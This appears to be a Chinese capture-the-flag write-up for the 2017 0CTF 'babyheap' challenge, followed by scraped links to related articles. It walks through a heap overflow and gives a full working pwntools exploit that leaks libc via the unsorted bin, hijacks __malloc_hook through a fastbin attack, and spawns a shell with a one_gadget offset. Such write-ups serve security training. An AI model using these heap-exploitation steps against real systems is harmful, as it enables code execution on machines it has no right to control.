2017-0ctf-babyheap
fastbin attack + unsortedbin attack + __malloc_hook 的基础利用
题目下载 : https://uaf.io/assets/0ctfbabyheap
本题是2017 0ctf 很简单的一道题
先来看一下题目的基本信息
$ checksec babyheap
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
$ ./babyheap
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command:
保护全开,是一个典型的菜单题,结合ida,先写下这几个函数
def alloc(size):
p.recvuntil('Command: ')
p.sendline('1')
p.sendline(str(size))
def fill(idx,payload):
p.recvuntil('Command: ')
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(payload)))
p.send(payload)
def free(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.sendline(str(idx))
def dump(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.sendline(str(idx))
p.recvuntil('Content: \n')
然后在ida中发现
__int64 __fastcall fill(__int64 a1)
{
...
printf("Index: ");
result = num();
v2 = result;
if ( (signed int)result >= 0 && (signed int)result <= 15 )
{
result = *(unsigned int *)(24LL * (signed int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = num();
v3 = result;
if ( (signed int)result > 0 )
{
printf("Content: ");
====> result = read____(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
...
他并没有对输入的长度做判断,我们可以从一个堆块溢出到另一个堆块上
我们也可以对堆块的大小做控制
- 通过unsortedbin attack 来leak出堆的地址
- 提前申请几个小堆块
- 利用第一个chunk的溢出,修改第二个chunk的size(大到能包括每三个chunk的fd)
- free第二个chunk,再申请回来
- 利用这个chunk 改大第三个chunk (free能后进unsortedbin )
- 通过第二个chunk读第三个chunk的fd(main_arena+88的地址)
- 通过 fastbin attack 控制 __malloc_hook
- free 掉提前申请的0x60大小的chunk
- 通过第一步的思路改被free的fd为 __malloc_hook
- 把__malloc_hook 改为
- 调用calloc 去执行 one_gadget
1. 通过unsortedbin attack 来leak出堆的地址
alloc(0x10)#idx0
alloc(0x10)#idx1
alloc(0x30)#idx2
alloc(0x40)#idx3
alloc(0x60)#idx4
fill(0,p64(0x51)*4) #idx1 -> size =0x51
fill(2,p64(0x31)*6) #让被free的chunk检查到后面是在用的chunk
free(1)
alloc(0x40)#idx1 这个指针还是idx1的位置,但是可以读 idx2 ->fd 了
fill(1,p64(0x91)*4) #将idx2放进unsorted bin中
free(2)
dump(1)
p.recv(0x20)
SBaddr = u64(p.recv(8))
p.recvline()
malloc_hook=SBaddr-88-0x10
success('malloc_hook = '+hex(malloc_hook))
free(2)的时候我没有去控制 unsortedbin 会检查到下一个chunk 我把idx2->size改为0x91后,下一个chunk正好是idx4 ,上面申请的5个内存的大小是我精心构造的
完整exp如下:
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
p = process("./babyheap")
elf=ELF('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#context.log_level='debug'
context.terminal = ["tmux","splitw","-h"]
context.arch = "amd64"
def alloc(size):
p.recvuntil('Command: ')
p.sendline('1')
p.sendline(str(size))
def fill(idx,payload):
p.recvuntil('Command: ')
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(payload)))
p.send(payload)
def free(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.sendline(str(idx))
def dump(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.sendline(str(idx))
p.recvuntil('Content: \n')
#-------leak main_arena - unsorted bin attack ------
alloc(0x10)#idx0
alloc(0x10)#idx1
alloc(0x30)#idx2
alloc(0x40)#idx3
alloc(0x60)#idx4
fill(0,p64(0x51)*4) #idx1 -> size =0x51
fill(2,p64(0x31)*6) #让被free的chunk检查到后面是在用的chunk
free(1)
alloc(0x40)#idx1 这个指针还是idx1的位置,但是可以读写 idx2 ->fd 了
fill(1,p64(0x91)*4) #将idx2放进unsorted bin中
free(2)
dump(1)
p.recv(0x20)
SBaddr = u64(p.recv(8))
p.recvline()
malloc_hook=SBaddr-88-0x10
success('malloc_hook = '+hex(malloc_hook))
#------------ 把malloc_hook申请出来 ---------------------
free(4)
payload=p64(0)*9+p64(0x71)+p64(malloc_hook-0x23)
fill(3,payload)
alloc(0x60)#idx2
alloc(0x60)#idx4 malloc_hook
#----------- 改 malloc_hook ---------------------------
libc_addr = malloc_hook-libc.symbols['__malloc_hook']
success('libc = '+hex(libc_addr))
payload=p64(libc_addr+0x4526a) #0x4526a在下面解释
shllcode='a'*0x13+payload
fill(4,shllcode)
alloc(1)
p.sendline('bash')
p.interactive()
我们需要在 __malloc_hook 写一个函数地址,用来getshell
0x4526a这个偏移里写的是这东西:
<do_system+1098>: mov rax,QWORD PTR [rip+0x37ec47]
<do_system+1105>: lea rdi,[rip+0x147adf]
<do_system+1112>: lea rsi,[rsp+0x30]
<do_system+1117>: mov DWORD PTR [rip+0x381219],0x0
<do_system+1127>: mov DWORD PTR [rip+0x381213],0x0
<do_system+1137>: mov rdx,QWORD PTR [rax]
<do_system+1140>: call 0x7f7f36b27770 <execve>
这个位置是怎么找到的? 分享一个小工具: https://github.com/david942j/one_gadget.git
$ one_gadget /lib/x86_64-linux-gnu/libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
$
这4个地址一个一个的试去吧!骚年!
2017-0ctf-babyheap的更多相关文章
- Pwn with File结构体之利用 vtable 进行 ROP
前言 本文以 0x00 CTF 2017 的 babyheap 为例介绍下通过修改 vtable 进行 rop 的操作 (:-_- 漏洞分析 首先查看一下程序开启的安全措施 18:07 haclh@u ...
- 0CTF 2017 部分Web的某些不一样的思路
洒家参加了0CTF 2017,做了一些题目.赛后过了好几天,看网上已经有了一些写得不错的Writeup,这里就写一写洒家的一些不一样的思路. 一些不错的Writeup https://ctftime. ...
- 0ctf 2017 kernel pwn knote write up
UAF due to using hlist_add_behind() without checking. There is a pair locker(mutex_lock) at delete_n ...
- CI Weekly #10 | 2017 DevOps 趋势预测
2016 年的最后几个工作日,我们对 flow.ci Android & iOS 项目做了一些优化与修复: iOS 镜像 cocoapods 版本更新: fir iOS上传插件时间问题修复: ...
- 猖獗的假新闻:2017年1月1日起iOS的APP必须使用HTTPS
一.假新闻如此猖獗 刚才一位老同事 打电话问:我们公司还是用的HTTP,马上就到2017年了,提交AppStore会被拒绝,怎么办? 公司里已经有很多人问过这个问题,回答一下: HTTP还是可以正常提 ...
- iOS的ATS配置 - 2017年前ATS规定的适配
苹果规定 从2017年1月1日起,新提交的 app 不允许使用NSAllowsArbitraryLoads来绕过ATS(全称:App Transport Security)的限制. 以前为了能兼容ht ...
- 深入研究Visual studio 2017 RC新特性
在[Xamarin+Prism开发详解三:Visual studio 2017 RC初体验]中分享了Visual studio 2017RC的大致情况,同时也发现大家对新的Visual Studio很 ...
- Xamarin+Prism开发详解三:Visual studio 2017 RC初体验
Visual studio 2017 RC出来一段时间了,最近有时间就想安装试试,随带分享一下安装使用体验. 1,卸载visual studio 2015 虽然可以同时安装visual studio ...
- Microsoft Visual Studio 2017 for Mac Preview 下载+安装+案例Demo
目录: 0. 前言 1. 在线安装器 2. 安装VS 3. HelloWorld 4. ASP.NET MVC 5. 软件下载 6. 结尾 0. 前言: 工作原因,上下班背着我的雷神,一个月瘦了10斤 ...
随机推荐
- 最简单的Android项目(含有资源文件)
上次的项目没有使用资源文件,打包出的apk安装后是系统默认图标,程序标题也是包名加类名. 添加资源需要对编译的命令做一点调整. 首先在项目根目录新建res和assets目录,在res内新建drawab ...
- vue父组件调用子组件方法、父组件向子组件传值、子组件向父组件传值
一.父组件调用子组件方法 父组件代码 parent.vue <template> <div> <button @click="parentFun" ...
- 【BZOJ1999】树网的核
题目大意:题目过长,无法简单描述... 题解: 由于树网的核一定是树直径的一段,因此考虑先将直径取出,通过两次 BFS 即可.要求的东西是树上任意一点到这条取出的线段的距离的最大值,发现这个最大值有可 ...
- ansj分词器使用记录
//最简单实例 String ruiec = “分词测试123456100名”; //剔除指定的分词 s.insertStopWords("100名"); //剔除标点符号(w) ...
- python内存相关以及深浅拷贝讲解
3.9 内存相关 3.9.1 id,查看内存地址 >>> v1 = [11,22,33] >>> v2 = [11,22,33] >>> prin ...
- Python的题目
1.将元组 (1,2,3) 和集合 {4,5,6} 合并成一个列表.2.在列表 [1,2,3,4,5,6] 首尾分别添加整型元素 7 和 0.3.反转列表 [0,1,2,3,4,5,6,7] .4.反 ...
- Android 通过应用设置系统日期和时间的方法
Android 通过应用设置系统日期和时间的方法 android 2.3 android 4.0 测试可行,不过需要ROOT权限. ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 ...
- Python3学习笔记(九):赋值,浅拷贝和深拷贝区别
一.变量赋值 在Python可变数据类型(列表,字典,集合)中,把一个可变数据类型的变量赋给另一个变量,这两个变量引用的是同一个对象,内存地址是一样的,修改当中的一个变量,另一个变量相应也会被修改 & ...
- Oracle升级11.2.0.3-11.2.0.4(Windows)
背景:解决11.2.0.3带来的ora-08103错误,将数据库seinescm升级到11.2.0.4版本方法:另辟路劲安装11.2.0.4版本数据库软件,再对现有的数据库进行升级步骤:1. 检 ...
- (知识)width、naturalWidth、clientWidth、offsetWidth区别整理
今天在做图片裁剪功能的时候,参考了下网友的资料,发现大家对图片宽度的获取方式不尽相同,于是详细整理下各个属性的区别(详细请参考MDN). 1,HTMLImageElement.width是一个unsi ...